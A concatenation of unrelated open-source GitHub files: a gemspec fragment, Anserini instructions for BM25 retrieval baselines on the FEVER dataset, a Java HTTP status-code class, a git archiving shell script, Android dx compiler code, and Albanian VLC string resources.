s.add_development_dependency "rspec-expectations", "!= 3.8.3" # Workaround for RSpec's issue, see: https://github.com/rspec/rspec-expectations/issues/1111
# Run code coverage where possible - not on Rubinius
unless on_rubinius?
# Pin versions for Travis builds on 1.9
s.add_development_dependency "json", "< 2.0" if on_less_than_2_0?
# Pin versions for Travis builds on 1.8
s.add_development_dependency "mime-types" , "~> 1.25.1" if on_1_8?
s.add_development_dependency "rest-client", "~> 1.6.8" if on_1_8?
end
# To limit needed compatibility with versions of dependencies, only configure
# yard doc generation when *not* on Travis, JRuby, Rubinius, or < 2.0
if !on_travis? && !on_jruby? && !on_rubinius? && !on_less_than_2_0?
# Github flavored markdown in YARD documentation
# http://blog.nikosd.com/2011/11/github-flavored-markdown-in-yard.html
s.add_development_dependency "yard"
s.add_development_dependency "redcarpet"
s.add_development_dependency "github-markup"
end
end
| {
"pile_set_name": "Github"
} |
# Anserini: BM25 Baselines for FEVER Fact Verification
This page contains instructions for running BM25 baselines on the [FEVER fact verification task](https://fever.ai/).
## Data Prep
We are going to use the repository's root directory as the working directory.
First, we need to download and extract the FEVER dataset:
```bash
mkdir collections/fever
mkdir indexes/fever
wget https://s3-eu-west-1.amazonaws.com/fever.public/wiki-pages.zip -P collections/fever
unzip collections/fever/wiki-pages.zip -d collections/fever
wget https://s3-eu-west-1.amazonaws.com/fever.public/train.jsonl -P collections/fever
wget https://s3-eu-west-1.amazonaws.com/fever.public/paper_dev.jsonl -P collections/fever
```
To confirm, `wiki-pages.zip` should have MD5 checksum of `ed8bfd894a2c47045dca61f0c8dc4c07`.
## Building Lucene Indexes
Next, we want to index the Wikipedia dump (`wiki-pages.zip`) using Anserini. Note that this Wikipedia dump consists of Wikipedia articles' introductions only, which we will refer to as "paragraphs" from this point onward.
We will consider two variants: (1) Paragraph Indexing and (2) Sentence Indexing.
### Paragraph Indexing
We can index paragraphs with `FeverParagraphCollection`, as follows:
```bash
sh target/appassembler/bin/IndexCollection \
-collection FeverParagraphCollection -generator DefaultLuceneDocumentGenerator \
-threads 9 -input collections/fever/wiki-pages \
-index indexes/fever/lucene-index-fever-paragraph -storePositions -storeDocvectors -storeRaw
```
Upon completion, we should have an index with 5,396,106 documents (paragraphs).
### Sentence Indexing
We can index sentences with `FeverSentenceCollection`, as follows:
```bash
sh target/appassembler/bin/IndexCollection \
-collection FeverSentenceCollection -generator DefaultLuceneDocumentGenerator \
-threads 9 -input collections/fever/wiki-pages \
-index indexes/fever/lucene-index-fever-sentence -storePositions -storeDocvectors -storeRaw
```
Upon completion, we should have an index with 25,247,887 documents (sentences).
## Performing Retrieval on the Dev Queries
Note that while we use paragraph indexing for this section, these steps can easily be modified for sentence indexing.
Before we can retrieve with our index, we need to generate the queries and qrels files for the dev split of the FEVER dataset:
```bash
python src/main/python/fever/generate_queries_and_qrels.py \
--dataset_file collections/fever/paper_dev.jsonl \
--output_queries_file collections/fever/queries.paragraph.dev.tsv \
--output_qrels_file collections/fever/qrels.paragraph.dev.tsv \
--granularity paragraph
```
We can now perform a retrieval run:
```bash
python tools/scripts/msmarco/retrieve.py \
--hits 1000 --threads 1 \
--index indexes/fever/lucene-index-fever-paragraph \
--queries collections/fever/queries.paragraph.dev.tsv \
--output runs/run.fever-paragraph.dev.tsv
```
Note that by default, the above script uses BM25 with tuned parameters `k1=0.82`, `b=0.68`.
## Evaluating with `trec_eval`
Finally, we can evaluate the retrieved documents using the official TREC evaluation tool, `trec_eval`.
We first need to convert the runs and qrels files to the TREC format:
```bash
python tools/scripts/msmarco/convert_msmarco_to_trec_run.py \
--input runs/run.fever-paragraph.dev.tsv \
--output runs/run.fever-paragraph.dev.trec
python tools/scripts/msmarco/convert_msmarco_to_trec_qrels.py \
--input collections/fever/qrels.paragraph.dev.tsv \
--output collections/fever/qrels.paragraph.dev.trec
```
Then we run the `trec_eval` tool:
```bash
tools/eval/trec_eval.9.0.4/trec_eval -c -m all_trec \
collections/fever/qrels.paragraph.dev.trec runs/run.fever-paragraph.dev.trec
```
Within the output, we should see:
```
recall_1000 all 0.9417
```
## Comparing with FEVER Baseline
We can also evaluate our retrieval compared to the TF-IDF baseline described in [the FEVER paper](https://www.aclweb.org/anthology/N18-1074.pdf). Specifically, we want to compare the metrics described in Table 2 of the paper.
We evaluate the run file produced earlier:
```bash
python src/main/python/fever/evaluate_doc_retrieval.py \
--truth_file collections/fever/paper_dev.jsonl \
--run_file runs/run.fever-paragraph.dev.tsv
```
This run produces the following results:
| k | Fully Supported | Oracle Accuracy |
|:----|----------------:|----------------:|
| 1 | 0.3272 | 0.5515 |
| 5 | 0.5656 | 0.7104 |
| 10 | 0.6542 | 0.7695 |
| 25 | 0.7459 | 0.8306 |
| 50 | 0.8098 | 0.8732 |
| 100 | 0.8561 | 0.9041 |
### BM25 Tuning
The above retrieval uses the MS MARCO default BM25 parameters of `k1=0.82`, `b=0.68`. We can tune these parameters to outperform the results of the TF-IDF baseline in the paper.
We tune on a subset of the training split of the dataset. We generate that subset:
```bash
python src/main/python/fever/generate_subset.py \
--dataset_file collections/fever/train.jsonl \
--subset_file collections/fever/train-subset.jsonl
```
We then generate the queries and qrels files for this subset.
```bash
python src/main/python/fever/generate_queries_and_qrels.py \
--dataset_file collections/fever/train-subset.jsonl \
--output_queries_file collections/fever/queries.paragraph.train-subset.tsv \
--output_qrels_file collections/fever/qrels.paragraph.train-subset.tsv \
--granularity paragraph
```
We tune the BM25 parameters with a grid search of parameter values in 0.1 increments. We save the run files generated by this process to a new folder `runs/fever-bm25` (do not use `runs` here).
```bash
python src/main/python/fever/tune_bm25.py \
--runs_folder runs/fever-bm25 \
--index_folder indexes/fever/lucene-index-fever-paragraph \
--queries_file collections/fever/queries.paragraph.train-subset.tsv \
--qrels_file collections/fever/qrels.paragraph.train-subset.tsv
```
From the grid search, we observe that the parameters `k1=0.6`, `b=0.5` perform fairly well. If we retrieve on the dev set with these parameters:
```bash
python tools/scripts/msmarco/retrieve.py \
--hits 1000 --threads 1 \
--index indexes/fever/lucene-index-fever-paragraph \
--queries collections/fever/queries.paragraph.dev.tsv \
--output runs/run.fever-paragraph-0.6-0.5.dev.tsv \
--k1 0.6 --b 0.5
```
and we evaluate this run file:
```bash
python src/main/python/fever/evaluate_doc_retrieval.py \
--truth_file collections/fever/paper_dev.jsonl \
--run_file runs/run.fever-paragraph-0.6-0.5.dev.tsv
```
then we can achieve the following results:
| k | Fully Supported | Oracle Accuracy |
|:----|----------------:|----------------:|
| 1 | 0.3857 | 0.5905 |
| 5 | 0.6367 | 0.7578 |
| 10 | 0.7193 | 0.8129 |
| 25 | 0.8003 | 0.8669 |
| 50 | 0.8473 | 0.8982 |
| 100 | 0.8804 | 0.9203 |
which outperforms the TF-IDF baseline in the FEVER paper at every tested value of k.
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package io.milton.http;
public class ResponseStatus {
/**
* Status code (200) indicating the request succeeded normally.
*/
public static final int SC_OK = 200;
/**
* Status code (201) indicating the request succeeded and created
* a new resource on the server.
*/
public static final int SC_CREATED = 201;
/**
* Status code (202) indicating that a request was accepted for
* processing, but was not completed.
*/
public static final int SC_ACCEPTED = 202;
/**
* Status code (203) indicating that the meta information presented
* by the client did not originate from the server.
*/
public static final int SC_NON_AUTHORITATIVE_INFORMATION = 203;
/**
* Status code (204) indicating that the request succeeded but that
* there was no new information to return.
*/
public static final int SC_NO_CONTENT = 204;
/**
* Status code (205) indicating that the agent <em>SHOULD</em> reset
* the document view which caused the request to be sent.
*/
public static final int SC_RESET_CONTENT = 205;
/**
* Status code (206) indicating that the server has fulfilled
* the partial GET request for the resource.
*/
public static final int SC_PARTIAL_CONTENT = 206;
/**
* Status code (300) indicating that the requested resource
* corresponds to any one of a set of representations, each with
* its own specific location.
*/
public static final int SC_MULTIPLE_CHOICES = 300;
/**
* Status code (301) indicating that the resource has permanently
* moved to a new location, and that future references should use a
* new URI with their requests.
*/
public static final int SC_MOVED_PERMANENTLY = 301;
/**
* Status code (302) indicating that the resource has temporarily
* moved to another location, but that future references should
* still use the original URI to access the resource.
*
* This definition is being retained for backwards compatibility.
* SC_FOUND is now the preferred definition.
*/
public static final int SC_MOVED_TEMPORARILY = 302;
/**
* Status code (302) indicating that the resource reside
* temporarily under a different URI. Since the redirection might
* be altered on occasion, the client should continue to use the
* Request-URI for future requests.(HTTP/1.1) To represent the
* status code (302), it is recommended to use this variable.
*/
public static final int SC_FOUND = 302;
/**
* Status code (303) indicating that the response to the request
* can be found under a different URI.
*/
public static final int SC_SEE_OTHER = 303;
/**
* Status code (304) indicating that a conditional GET operation
* found that the resource was available and not modified.
*/
public static final int SC_NOT_MODIFIED = 304;
/**
* Status code (305) indicating that the requested resource
* <em>MUST</em> be accessed through the proxy given by the
* <code><em>Location</em></code> field.
*/
public static final int SC_USE_PROXY = 305;
/**
* Status code (307) indicating that the requested resource
* resides temporarily under a different URI. The temporary URI
* <em>SHOULD</em> be given by the <code><em>Location</em></code>
* field in the response.
*/
public static final int SC_TEMPORARY_REDIRECT = 307;
/**
* Status code (400) indicating the request sent by the client was
* syntactically incorrect.
*/
public static final int SC_BAD_REQUEST = 400;
/**
* Status code (401) indicating that the request requires HTTP
* authentication.
*/
public static final int SC_UNAUTHORIZED = 401;
/**
* Status code (402) reserved for future use.
*/
public static final int SC_PAYMENT_REQUIRED = 402;
/**
* Status code (403) indicating the server understood the request
* but refused to fulfill it.
*/
public static final int SC_FORBIDDEN = 403;
/**
* Status code (404) indicating that the requested resource is not
* available.
*/
public static final int SC_NOT_FOUND = 404;
/**
* Status code (405) indicating that the method specified in the
* <code><em>Request-Line</em></code> is not allowed for the resource
* identified by the <code><em>Request-URI</em></code>.
*/
public static final int SC_METHOD_NOT_ALLOWED = 405;
/**
* Status code (406) indicating that the resource identified by the
* request is only capable of generating response entities which have
* content characteristics not acceptable according to the accept
* headers sent in the request.
*/
public static final int SC_NOT_ACCEPTABLE = 406;
/**
* Status code (407) indicating that the client <em>MUST</em> first
* authenticate itself with the proxy.
*/
public static final int SC_PROXY_AUTHENTICATION_REQUIRED = 407;
/**
* Status code (408) indicating that the client did not produce a
* request within the time that the server was prepared to wait.
*/
public static final int SC_REQUEST_TIMEOUT = 408;
/**
* Status code (409) indicating that the request could not be
* completed due to a conflict with the current state of the
* resource.
*/
public static final int SC_CONFLICT = 409;
/**
* Status code (410) indicating that the resource is no longer
* available at the server and no forwarding address is known.
* This condition <em>SHOULD</em> be considered permanent.
*/
public static final int SC_GONE = 410;
/**
* Status code (411) indicating that the request cannot be handled
* without a defined <code><em>Content-Length</em></code>.
*/
public static final int SC_LENGTH_REQUIRED = 411;
/**
* Status code (412) indicating that the precondition given in one
* or more of the request-header fields evaluated to false when it
* was tested on the server.
*/
public static final int SC_PRECONDITION_FAILED = 412;
/**
* Status code (413) indicating that the server is refusing to process
* the request because the request entity is larger than the server is
* willing or able to process.
*/
public static final int SC_REQUEST_ENTITY_TOO_LARGE = 413;
/**
* Status code (414) indicating that the server is refusing to service
* the request because the <code><em>Request-URI</em></code> is longer
* than the server is willing to interpret.
*/
public static final int SC_REQUEST_URI_TOO_LONG = 414;
/**
* Status code (415) indicating that the server is refusing to service
* the request because the entity of the request is in a format not
* supported by the requested resource for the requested method.
*/
public static final int SC_UNSUPPORTED_MEDIA_TYPE = 415;
/**
* Status code (416) indicating that the server cannot serve the
* requested byte range.
*/
public static final int SC_REQUESTED_RANGE_NOT_SATISFIABLE = 416;
/**
* Status code (417) indicating that the server could not meet the
* expectation given in the Expect request header.
*/
public static final int SC_EXPECTATION_FAILED = 417;
/**
* Status code (500) indicating an error inside the HTTP server
* which prevented it from fulfilling the request.
*/
public static final int SC_INTERNAL_SERVER_ERROR = 500;
/**
* Status code (501) indicating the HTTP server does not support
* the functionality needed to fulfill the request.
*/
public static final int SC_NOT_IMPLEMENTED = 501;
/**
* Status code (502) indicating that the HTTP server received an
* invalid response from a server it consulted when acting as a
* proxy or gateway.
*/
public static final int SC_BAD_GATEWAY = 502;
/**
* Status code (503) indicating that the HTTP server is
* temporarily overloaded, and unable to handle the request.
*/
public static final int SC_SERVICE_UNAVAILABLE = 503;
/**
* Status code (504) indicating that the server did not receive
* a timely response from the upstream server while acting as
* a gateway or proxy.
*/
public static final int SC_GATEWAY_TIMEOUT = 504;
/**
* Status code (505) indicating that the server does not support
* or refuses to support the HTTP protocol version that was used
* in the request message.
*/
public static final int SC_HTTP_VERSION_NOT_SUPPORTED = 505;
}
| {
"pile_set_name": "Github"
} |
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("AudioInterceptorTest")]
[assembly: AssemblyDescription("IAudioInterceptor Test Plugin")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("SDR#")]
[assembly: AssemblyCopyright("Copyright © Youssef TOUIL and Ian Gilmour 2013")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("dfd7918b-ff74-4825-a628-ac37c85d5e9f")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| {
"pile_set_name": "Github"
} |
#!/bin/sh
set -eu
PREFIX=$(basename "$(pwd -P)")
{
git ls-files
git submodule foreach --recursive --quiet \
'git ls-files --with-tree="$sha1" | sed "s#^#$path/#"'
} | sed "s#^#$PREFIX/#" | xargs tar -c -j -C.. -f "$PREFIX.tar.bz2" --
| {
"pile_set_name": "Github"
} |
# Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from pbr import version
version_info = version.VersionInfo('sahara')
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2007 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.android.dx.ssa;
import com.android.dx.rop.code.PlainCstInsn;
import com.android.dx.rop.code.TranslationAdvice;
import com.android.dx.rop.code.RegisterSpecList;
import com.android.dx.rop.code.Insn;
import com.android.dx.rop.code.Rop;
import com.android.dx.rop.code.RegisterSpec;
import com.android.dx.rop.code.PlainInsn;
import com.android.dx.rop.code.Rops;
import com.android.dx.rop.code.RegOps;
import com.android.dx.rop.cst.Constant;
import com.android.dx.rop.cst.CstLiteralBits;
import com.android.dx.rop.type.Type;
import com.android.dx.rop.type.TypeBearer;
import java.util.ArrayList;
import java.util.List;
/**
* Upgrades insn to their literal (constant-immediate) equivalent if possible.
* Also switches IF instructions that compare with a constant zero or null
* to be their IF_*Z equivalents.
*/
public class LiteralOpUpgrader {
/** method we're processing */
private final SsaMethod ssaMeth;
/**
* Process a method.
*
* @param ssaMethod {@code non-null;} method to process
*/
public static void process(SsaMethod ssaMethod) {
LiteralOpUpgrader dc;
dc = new LiteralOpUpgrader(ssaMethod);
dc.run();
}
private LiteralOpUpgrader(SsaMethod ssaMethod) {
this.ssaMeth = ssaMethod;
}
/**
* Returns true if the register contains an integer 0 or a known-null
* object reference
*
* @param spec non-null spec
* @return true for 0 or null type bearers
*/
private static boolean isConstIntZeroOrKnownNull(RegisterSpec spec) {
TypeBearer tb = spec.getTypeBearer();
if (tb instanceof CstLiteralBits) {
CstLiteralBits clb = (CstLiteralBits) tb;
return (clb.getLongBits() == 0);
}
return false;
}
/**
* Run the literal op upgrader
*/
private void run() {
final TranslationAdvice advice = Optimizer.getAdvice();
ssaMeth.forEachInsn(new SsaInsn.Visitor() {
public void visitMoveInsn(NormalSsaInsn insn) {
// do nothing
}
public void visitPhiInsn(PhiInsn insn) {
// do nothing
}
public void visitNonMoveInsn(NormalSsaInsn insn) {
Insn originalRopInsn = insn.getOriginalRopInsn();
Rop opcode = originalRopInsn.getOpcode();
RegisterSpecList sources = insn.getSources();
// Replace insns with constant results with const insns
if (tryReplacingWithConstant(insn)) return;
if (sources.size() != 2 ) {
// We're only dealing with two-source insns here.
return;
}
if (opcode.getBranchingness() == Rop.BRANCH_IF) {
/*
* An if instruction can become an if-*z instruction.
*/
if (isConstIntZeroOrKnownNull(sources.get(0))) {
replacePlainInsn(insn, sources.withoutFirst(),
RegOps.flippedIfOpcode(opcode.getOpcode()), null);
} else if (isConstIntZeroOrKnownNull(sources.get(1))) {
replacePlainInsn(insn, sources.withoutLast(),
opcode.getOpcode(), null);
}
} else if (advice.hasConstantOperation(
opcode, sources.get(0), sources.get(1))) {
insn.upgradeToLiteral();
} else if (opcode.isCommutative()
&& advice.hasConstantOperation(
opcode, sources.get(1), sources.get(0))) {
/*
* An instruction can be commuted to a literal operation
*/
insn.setNewSources(
RegisterSpecList.make(
sources.get(1), sources.get(0)));
insn.upgradeToLiteral();
}
}
});
}
/**
* Tries to replace an instruction with a const instruction. The given
* instruction must have a constant result for it to be replaced.
*
* @param insn {@code non-null;} instruction to try to replace
* @return true if the instruction was replaced
*/
private boolean tryReplacingWithConstant(NormalSsaInsn insn) {
Insn originalRopInsn = insn.getOriginalRopInsn();
Rop opcode = originalRopInsn.getOpcode();
RegisterSpec result = insn.getResult();
if (result != null && !ssaMeth.isRegALocal(result) &&
opcode.getOpcode() != RegOps.CONST) {
TypeBearer type = insn.getResult().getTypeBearer();
if (type.isConstant() && type.getBasicType() == Type.BT_INT) {
// Replace the instruction with a constant
replacePlainInsn(insn, RegisterSpecList.EMPTY,
RegOps.CONST, (Constant) type);
// Remove the source as well if this is a move-result-pseudo
if (opcode.getOpcode() == RegOps.MOVE_RESULT_PSEUDO) {
int pred = insn.getBlock().getPredecessors().nextSetBit(0);
ArrayList<SsaInsn> predInsns =
ssaMeth.getBlocks().get(pred).getInsns();
NormalSsaInsn sourceInsn =
(NormalSsaInsn) predInsns.get(predInsns.size()-1);
replacePlainInsn(sourceInsn, RegisterSpecList.EMPTY,
RegOps.GOTO, null);
}
return true;
}
}
return false;
}
/**
* Replaces an SsaInsn containing a PlainInsn with a new PlainInsn. The
* new PlainInsn is constructed with a new RegOp and new sources.
*
* TODO move this somewhere else.
*
* @param insn {@code non-null;} an SsaInsn containing a PlainInsn
* @param newSources {@code non-null;} new sources list for new insn
* @param newOpcode A RegOp from {@link RegOps}
* @param cst {@code null-ok;} constant for new instruction, if any
*/
private void replacePlainInsn(NormalSsaInsn insn,
RegisterSpecList newSources, int newOpcode, Constant cst) {
Insn originalRopInsn = insn.getOriginalRopInsn();
Rop newRop = Rops.ropFor(newOpcode, insn.getResult(), newSources, cst);
Insn newRopInsn;
if (cst == null) {
newRopInsn = new PlainInsn(newRop, originalRopInsn.getPosition(),
insn.getResult(), newSources);
} else {
newRopInsn = new PlainCstInsn(newRop, originalRopInsn.getPosition(),
insn.getResult(), newSources, cst);
}
NormalSsaInsn newInsn = new NormalSsaInsn(newRopInsn, insn.getBlock());
List<SsaInsn> insns = insn.getBlock().getInsns();
ssaMeth.onInsnRemoved(insn);
insns.set(insns.lastIndexOf(insn), newInsn);
ssaMeth.onInsnAdded(newInsn);
}
}
| {
"pile_set_name": "Github"
} |
package org.bouncycastle.pqc.crypto.xmss;
/**
* Interface for XMSS objects that need to be storeable as a byte array.
*
* @deprecated use Encodable
*/
public interface XMSSStoreableObjectInterface
{
/**
* Create byte representation of object.
*
* @return Byte representation of object.
*/
public byte[] toByteArray();
}
| {
"pile_set_name": "Github"
} |
StartChar: uni062A.medi_LamBaaMemInit
Encoding: 1115117 -1 1289
Width: 140
Flags: HW
AnchorPoint: "TashkilAbove" 24 801 basechar 0
AnchorPoint: "TashkilBelow" 142 -327 basechar 0
LayerCount: 2
Fore
Refer: 192 -1 N 1 0 0 1 8 532 2
Refer: 81 -1 N 1 0 0 1 0 0 3
EndChar
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<resources>
<plurals name="albums_quantity">
<item quantity="one">Një</item>
<item quantity="other">Tjera</item>
</plurals>
<plurals name="mediafiles_quantity">
<item quantity="one">Një</item>
<item quantity="other">Tjera</item>
</plurals>
<plurals name="search_found_results_quantity">
<item quantity="one">Një</item>
<item quantity="other">Tjera</item>
</plurals>
<plurals name="songs_quantity">
<item quantity="one">Një</item>
<item quantity="other">Tjera</item>
</plurals>
<plurals name="subfolders_quantity">
<item quantity="one">Një</item>
<item quantity="other">Tjera</item>
</plurals>
<plurals name="track_channels_info_quantity">
<item quantity="one">Një</item>
<item quantity="other">Tjera</item>
</plurals>
<plurals name="videos_quantity">
<item quantity="one">Një</item>
<item quantity="other">Tjera</item>
</plurals>
<string name="about">Rreth</string>
<string name="about_text">VLC për Android™ është pjesë e VLC media player, media player popullor falas dhe open source. Versioni i Android mund të lexojë shumicën e skedarëve dhe transmetimeve ne rrjet.</string>
<string name="add_custom_path">Shto një adrese tënden</string>
<string name="add_custom_path_description">Shto dosje te tjera tuajat për skanim:</string>
<string name="advanced">Të avancuara</string>
<string name="advanced_prefs_category">Avancuar</string>
<string name="album">Albumi</string>
<string name="albums">Albumet</string>
<string name="all_albums">Gjitha albumet</string>
<string name="aout">Dalja audio</string>
<string name="aout_summary">Ndrysho mënyrën qe VLC përdor për të shfaqur audio</string>
<string name="app_name_full">VLC per Android™</string>
<string name="append">Shto</string>
<string name="append_all">Shto të gjitha</string>
<string name="artist">Artisti</string>
<string name="artists">Artistat</string>
<string name="audio">Zëri</string>
<string name="audio_delay">Vonimi i zërit</string>
<string name="audio_player_tips">Gjurmë zëri</string>
<string name="audio_sub">Audio\ndhe titra</string>
<string name="audio_title_alignment">Radhitja e titullit të audios</string>
<string name="audio_title_alignment_centre">Qendër</string>
<string name="audio_title_alignment_default">Të parazgjedhura</string>
<string name="audio_title_alignment_left">Majtas</string>
<string name="audio_title_alignment_marquee">Tendë</string>
<string name="audio_title_alignment_right">Djathtas</string>
<string name="automatic">Automatikisht</string>
<string name="back_quit_lock">Shtypni prapa eshe një here për të dalë nga videoja</string>
<string name="bookmarks">Te shenuara</string>
<string name="brightness">Bardhesia</string>
<string name="cancel">Anulo</string>
<string name="chroma_format">Përforco video chroma-n</string>
<string name="chroma_format_summary">RGB 32-bit: e parazgjedhura chroma\nRGB 16-bit: performance më të mirë por kualitet më të ulët\nYUV: performanca më e mirë por nuk punon në të gjitha pajisjet. Android 2.3 dhe sipër.</string>
<string name="clear_history">Fshij historinë</string>
<string name="clear_log">Fshij log-et</string>
<string name="clear_media_db">Fshij databazen e medias</string>
<string name="compiled_by">Ky version i VLC është kompiluar nga:</string>
<string name="confirm_delete">Konfirmo fshirjen</string>
<string name="confirm_resume">Vazhdoni nga pozicioni i kaluar?</string>
<string name="confirm_resume_summary">nese eshte e aktivizuar ju do te pyeteni per nje konfirmim kur nje video mund te vazhdoje nga pozicioni i kaluar</string>
<string name="confirm_resume_title">Kerko konfirmim per te vazhduar</string>
<string name="copied_to_clipboard">U kopjua ne Clipboard</string>
<string name="copy_to_clipboard">Kopjo në Clipboard</string>
<string name="cover_art">Figura e koverit</string>
<string name="deblocking">Konfigurimet e filtrit të zhbllokimit</string>
<string name="deblocking_all">Pa zhbllokim (më e shpejta)</string>
<string name="deblocking_always">Zhbllokim i plotë (më e ngadalta)</string>
<string name="deblocking_nonkey">Zhbllokim i ulët</string>
<string name="deblocking_nonref">Zhbllokim mesatar</string>
<string name="deblocking_summary">Ndrysho konfigurimet e filtrit te zhbllokimit. Mund të përmirësojë kualitetin e videos. Vetëm për përdorues të avancuar.</string>
<string name="debug_logs">Log-et e Debug</string>
<string name="delete">Fshij</string>
<string name="dev_hardware_decoder">Hardware dekoder i avancuar</string>
<string name="dev_hardware_decoder_mediacodec">mediacodec</string>
<string name="dev_hardware_decoder_mediacodec_dr">mediacodec-dr</string>
<string name="dev_hardware_decoder_omx">iomx</string>
<string name="dev_hardware_decoder_omx_dr">iomx-dr</string>
<string name="dev_hardware_decoder_summary">Përforco hardware dekoderin, vetëm për përdorues të avancuar</string>
<string name="developer_prefs_category">Zhvillues</string>
<string name="directories">Regjistrat</string>
<string name="directories_summary">Zgjidh dosjet që dëshironi t\'i përfshini ne librarine e medias</string>
<string name="directory">Regjister</string>
<string name="directory_empty">Regjistri është bosh.</string>
<string name="directory_hide_medialib">Fshihe nga MediaLib</string>
<string name="directory_show_medialib">Shfaqe në MediaLib</string>
<string name="directorynotfound">Regjistri nuk është gjetur</string>
<string name="drawer_close">Mbyllë tërheqësin e navigimit</string>
<string name="drawer_open">Haptërheqësin e navigimit</string>
<string name="dump_logcat">Zbraz tek logacat log</string>
<string name="dump_logcat_failure">Dështoi zbrazja e logcat.</string>
<string name="dump_logcat_success">Logcat u zbraz me suykses tek %1$s!</string>
<string name="enable_black_theme">Aktivizo teme e errët</string>
<string name="enable_black_theme_summary">Ndërro ngjyrat e pamjes për një komoditet ne vende me dritë të ulët.</string>
<string name="enable_brightness_gesture">Aktivizo gjestet e bardhësisë</string>
<string name="enable_brightness_gesture_summary">Kontrollo me gjeste bardhësine gjatë luajtjes së videos</string>
<string name="enable_clone_mode">Prefero klon</string>
<string name="enable_clone_mode_summary">Klono ekranin e pajisjes pa telekomandë.</string>
<string name="enable_frame_skip">Aktivizo kalimin e kornizave</string>
<string name="enable_frame_skip_summary">Rrit shpejtësinë e dekodimit por mund të ule kualitetin e videos.</string>
<string name="enable_headset_detection">Zbulo kufje</string>
<string name="enable_headset_detection_summary">Pusho gjatë heqjes së kufjeve, vazhdo gjatë vendosjes së kufjeve</string>
<string name="enable_jump_buttons">Aktivizo butonat e shkurtër</string>
<string name="enable_jump_buttons_summary">Shfaq butonat para dhe pas ne ndërfaqjen e videos</string>
<string name="enable_steal_remote_control">Kontroll ekskluziv nëpërmjet kufjeve</string>
<string name="enable_steal_remote_control_summary">Mënjano konflikte duke u marrë telekomanimin nga aplikacione të tjera. Kjo mënjanon rënien e telefonit kur bën double klik ne telefonat HTC.</string>
<string name="enable_time_stretching_audio">Kohështrirja e zërit</string>
<string name="enable_time_stretching_audio_summary">Rrit dhe ul shpejtësinë e zërit pa ndryshuar ritmin (kërkon një pajisje të shpejtë).</string>
<string name="enable_verbose_mode">Fjalëshumë</string>
<string name="enable_verbose_mode_summary">Rrit verbosity-n (logcat)</string>
<string name="encountered_error_message">VLC hasi një error me këtë media.\nJu lutem provoni te rifreskoni librarin tuaj.</string>
<string name="encountered_error_title">Error ne luajtje</string>
<string name="equalizer">Barazues</string>
<string name="error_message_is">Mesazhi i errorit është (ju lutem përmendeni këtë gjatë debugging):\n</string>
<string name="error_not_compatible">Na vjen keq, aparati i juaj nuk është i suportuar nga ky version i VLC për Android™.</string>
<string name="error_problem">Na vjen keq, VLC për Android ksihte një problem gjatë ngarkimit dhe u mbyll.</string>
<string name="extra_prefs_category">Konfigurime shtesë</string>
<string name="file_other">Mbyllë tërheqësin e navigimit</string>
<string name="file_size">Madhësia e skedarit:</string>
<string name="force_list_portrait">Pa rrjetë ne formen portret</string>
<string name="force_list_portrait_summary">Shfaq videot në listë ne vend të rrjetës ne formën portret</string>
<string name="general_prefs_category">Të përgjithshme</string>
<string name="genres">Zhanret</string>
<string name="go_to_chapter">Shko te kapitulli...</string>
<string name="hardware_acceleration">Hardware Acceleration</string>
<string name="hardware_acceleration_decoding">Përshpejtimi i dekodimit</string>
<string name="hardware_acceleration_disabled">Çaktivizuar</string>
<string name="hardware_acceleration_error_message">Një error ndodhi me hardware acceleration. A dëshironi ta çaktivizoni dhe të provoni përsëri?</string>
<string name="hardware_acceleration_error_title">HW acceleration error</string>
<string name="hardware_acceleration_full">Përshpejtim i plotë</string>
<string name="hardware_acceleration_summary">E çaktivizuar: stabilitet më të mirë.\nDekodimi: mund të përmirësojë performancën.\nKomplet: mund të rrit performancen edhe më shumë.</string>
<string name="help_us_send_log">Na ndihmoni të përmirsojme VLC duke dërguar crash log-un e mëposhtëm:</string>
<string name="history">Historia</string>
<string name="hold_to_seek">Mbaje për ta kerkuar</string>
<string name="hold_to_stop">Mbaje për ta ndalur</string>
<string name="info">Informacion</string>
<string name="info_title">VLC</string>
<string name="interface_other_category">Ndërfaqja - Tjera</string>
<string name="interface_prefs_screen">Ndërfaqja</string>
